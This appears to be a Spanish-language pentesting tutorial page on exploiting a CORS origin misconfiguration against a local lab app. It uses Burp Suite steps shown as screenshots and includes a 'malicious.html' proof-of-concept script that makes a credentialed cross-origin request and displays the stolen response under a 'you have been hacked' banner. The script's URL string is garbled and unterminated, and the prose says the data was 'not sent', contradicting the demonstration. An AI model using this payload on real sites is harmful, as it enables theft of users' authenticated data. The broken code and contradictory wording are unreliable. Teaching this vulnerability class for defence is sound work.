> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/cors-origin-pentesting-web.md).

# Configuración incorrecta de origen en CORS

### Compartición de recursos de origen cruzado (CORS):

Toda esta información está disponible en el sitio web:

<figure><img src="/files/6cc6ec6561ad92a4ed33ed354c5f2877ed70d419" alt="" width="563"><figcaption></figcaption></figure>

Lo interceptamos con Burp Suite y observamos que dos campos "**credenciales de control de acceso**" y "**origen**" están mal configurados en la respuesta:

<figure><img src="/files/29a6d0f81abe8c7bd7bf4b34a3b1dd1f1f8e85d7" alt=""><figcaption></figcaption></figure>

Añadimos un **nuevo campo origin** en la solicitud con el enlace de una página web, por ejemplo "google.com", y observamos que es aceptado:

<figure><img src="/files/c946bffe68c51d2119398e170a44a6824e296fa2" alt=""><figcaption></figcaption></figure>

Creamos un archivo web **malicious.html** que explota la vulnerabilidad con los campos origin y credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Has sido hackeado, esta es la información que te he robado</h1></center>
<p id="stolenInfo"></p>

```

Con **Python**, creamos un servidor web:

<figure><img src="/files/7b9509a8bc69ed1308e8f6b69b658225aea3c858" alt=""><figcaption></figcaption></figure>

Accedemos a nuestro sitio web y la información confidencial no ha sido **enviada a nuestro sitio**:

<figure><img src="/files/eb7b21979e72979cfdbea05f3808f5908b448f20" alt=""><figcaption></figcaption></figure>

Si CORS estuviera configurado correctamente, habríamos recibido el siguiente error:

<figure><img src="/files/6507cf50b0b6f4a5ad9c4a2f3816d19167834470" alt=""><figcaption></figcaption></figure>


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